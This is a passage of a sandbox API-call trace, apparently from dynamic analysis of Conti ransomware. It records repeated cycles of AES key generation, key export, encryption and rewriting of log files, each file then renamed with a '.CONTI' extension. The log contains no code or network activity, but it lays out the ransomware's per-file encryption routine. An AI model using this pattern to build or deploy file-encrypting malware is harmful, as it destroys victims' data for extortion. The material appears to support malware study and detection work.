	[0117.169] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d0e48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65d0e48*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0117.169] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.169] CloseHandle (hObject=0x3a8) returned 1
	[0117.169] GetProcessHeap () returned 0x1720000
	[0117.169] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.169] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.169] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.169] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.170] GetProcessHeap () returned 0x1720000
	[0117.170] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.170] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0117.170] GetProcessHeap () returned 0x1720000
	[0117.170] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce250 | out: hHeap=0x1720000) returned 1
	[0117.170] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0117.170] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65d1098 | out: phKey=0x65d1098*=0x6b7f338) returned 1
	[0117.170] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d109c, pdwDataLen=0x3f7fc54 | out: pbData=0x65d109c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0117.171] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.171] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0117.171] GetLastError () returned 0x0
	[0117.171] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=24576) returned 1
	[0117.171] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
	[0117.171] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.171] SetEndOfFile (hFile=0x3a8) returned 1
	[0117.172] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.172] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.172] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d109c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65d109c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.173] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.173] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x6000, lpOverlapped=0x0) returned 1
	[0117.174] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x6000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x6010) returned 1
	[0117.174] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.174] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x6010, lpOverlapped=0x0) returned 1
	[0117.174] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.174] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d1090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65d1090*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0117.174] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.174] CloseHandle (hObject=0x3a8) returned 1
	[0117.174] GetProcessHeap () returned 0x1720000
	[0117.174] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.174] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.174] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.175] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.175] GetProcessHeap () returned 0x1720000
	[0117.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.175] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.175] GetProcessHeap () returned 0x1720000
	[0117.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd450 | out: hHeap=0x1720000) returned 1
	[0117.175] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0117.175] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65d12e0 | out: phKey=0x65d12e0*=0x6b7f0f8) returned 1
	[0117.175] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d12e4, pdwDataLen=0x3f7fc54 | out: pbData=0x65d12e4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0117.176] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.177] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0117.177] GetLastError () returned 0x0
	[0117.177] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0117.177] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.177] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.177] SetEndOfFile (hFile=0x3a8) returned 1
	[0117.177] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.177] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.177] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d12e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65d12e4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.179] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.179] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0117.181] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0117.181] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.181] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0117.181] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.181] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d12d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65d12d8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0117.181] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.181] CloseHandle (hObject=0x3a8) returned 1
	[0117.181] GetProcessHeap () returned 0x1720000
	[0117.181] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.181] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.181] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.181] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.182] GetProcessHeap () returned 0x1720000
	[0117.182] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.182] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.182] GetProcessHeap () returned 0x1720000
	[0117.182] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ccd50 | out: hHeap=0x1720000) returned 1
	[0117.182] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0117.182] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65d2520 | out: phKey=0x65d2520*=0x6b7f338) returned 1
	[0117.182] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2524, pdwDataLen=0x3f7fc54 | out: pbData=0x65d2524*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0117.183] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.183] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0117.184] GetLastError () returned 0x0
	[0117.184] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0117.184] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.184] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.184] SetEndOfFile (hFile=0x3a8) returned 1
	[0117.184] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.184] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.184] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d2524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65d2524*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.185] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.185] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0117.186] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0117.186] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.186] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0117.186] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.186] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65d2518*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0117.187] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.187] CloseHandle (hObject=0x3a8) returned 1
	[0117.187] GetProcessHeap () returned 0x1720000
	[0117.187] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.187] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.187] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.187] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.187] GetProcessHeap () returned 0x1720000
	[0117.187] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.188] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.188] GetProcessHeap () returned 0x1720000
	[0117.188] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd250 | out: hHeap=0x1720000) returned 1
	[0117.188] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0117.188] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65d2768 | out: phKey=0x65d2768*=0x6b7f338) returned 1
	[0117.188] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d276c, pdwDataLen=0x3f7fc54 | out: pbData=0x65d276c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0117.189] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.189] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0117.189] GetLastError () returned 0x0
	[0117.189] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=12288) returned 1
	[0117.189] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0117.189] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.189] SetEndOfFile (hFile=0x3a8) returned 1
	[0117.189] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.189] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.189] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d276c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65d276c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.191] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.191] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x3000, lpOverlapped=0x0) returned 1
	[0117.191] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x3000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x3010) returned 1
	[0117.191] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.191] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x3010, lpOverlapped=0x0) returned 1
	[0117.192] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
